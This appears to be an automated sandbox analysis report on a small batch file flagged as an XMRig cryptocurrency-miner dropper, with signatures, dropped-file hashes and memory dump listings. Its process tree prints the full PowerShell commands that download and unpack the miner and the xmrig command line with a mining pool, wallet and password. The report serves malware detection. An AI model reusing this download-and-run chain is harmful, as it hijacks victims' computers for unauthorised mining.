Analysis

  • max time kernel
    1790s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target
    tesy - Copy (2).bat
  • Size 608B
  • Sample240101-dppkasdcf5
  • SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 48 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2908
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4564

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 6a5dc225e6050783aa9d4a3d96c0ef9a511f79b7ccd6fffd9d10594a920dc0af
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_ilzmmfri.dhm.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ilzmmfri.dhm.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        xmrig-6.21.0-gcc-win64.zip

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip
        • Size 17KB
        • SHA256 d4b0f20539a7eb23d4ab2dba7371ae930f289fea9bf559eb27cb02c5fea8ba5b
        • MD5 SHA1 SHA512 SSDEEP

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
        • Size 9KB
        • SHA256 003c83d152ea92157ab63678cd99e3268b69570227f2008c76de1cca96418b15
        • MD5 SHA1 SHA512 SSDEEP

        memory/2908-117-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

        memory/2908-80-0x00000204EC1D0000-0x00000204EC1E2000-memory.dmp

        memory/2908-93-0x00000204EC1A0000-0x00000204EC1AA000-memory.dmp

        memory/2908-67-0x00000204EBE60000-0x00000204EBE70000-memory.dmp

        memory/2908-40-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

        memory/2908-43-0x00000204EBE60000-0x00000204EBE70000-memory.dmp

        memory/2908-42-0x00000204EBE60000-0x00000204EBE70000-memory.dmp

        memory/3304-6-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

        memory/3304-34-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

        memory/3304-29-0x00000283E7240000-0x00000283E7250000-memory.dmp

        memory/3304-28-0x00000283E7240000-0x00000283E7250000-memory.dmp

        memory/3304-27-0x00000283E7240000-0x00000283E7250000-memory.dmp

        memory/3304-26-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

        memory/3304-25-0x00000283E7240000-0x00000283E7250000-memory.dmp

        memory/3304-9-0x00000283E7240000-0x00000283E7250000-memory.dmp

        memory/3304-10-0x00000283FF650000-0x00000283FF6C6000-memory.dmp

        memory/3304-7-0x00000283E7240000-0x00000283E7250000-memory.dmp

        memory/3304-4-0x00000283FF5A0000-0x00000283FF5C2000-memory.dmp

        memory/4564-143-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-155-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-122-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-124-0x0000025353F70000-0x0000025353F90000-memory.dmp

        memory/4564-123-0x0000025352690000-0x00000253526B0000-memory.dmp

        memory/4564-125-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-126-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-128-0x0000025352690000-0x00000253526B0000-memory.dmp

        memory/4564-129-0x0000025353F70000-0x0000025353F90000-memory.dmp

        memory/4564-127-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-130-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-131-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-132-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-133-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-134-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-135-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-136-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-137-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-138-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-139-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-140-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-141-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-142-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-120-0x00000253523F0000-0x0000025352410000-memory.dmp

        memory/4564-144-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-145-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-146-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-147-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-148-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-149-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-150-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-151-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-152-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-153-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-154-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-121-0x0000025352650000-0x0000025352690000-memory.dmp

        memory/4564-156-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-157-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-158-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-159-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-160-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-161-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-162-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-163-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-164-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-165-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-166-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-167-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-168-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-169-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-170-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-171-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-172-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-173-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-174-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-175-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-176-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-177-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-178-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-179-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-180-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-181-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-182-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-183-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-184-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-185-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-186-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-187-0x00007FF779720000-0x00007FF77A223000-memory.dmp

        memory/4564-188-0x00007FF779720000-0x00007FF77A223000-memory.dmp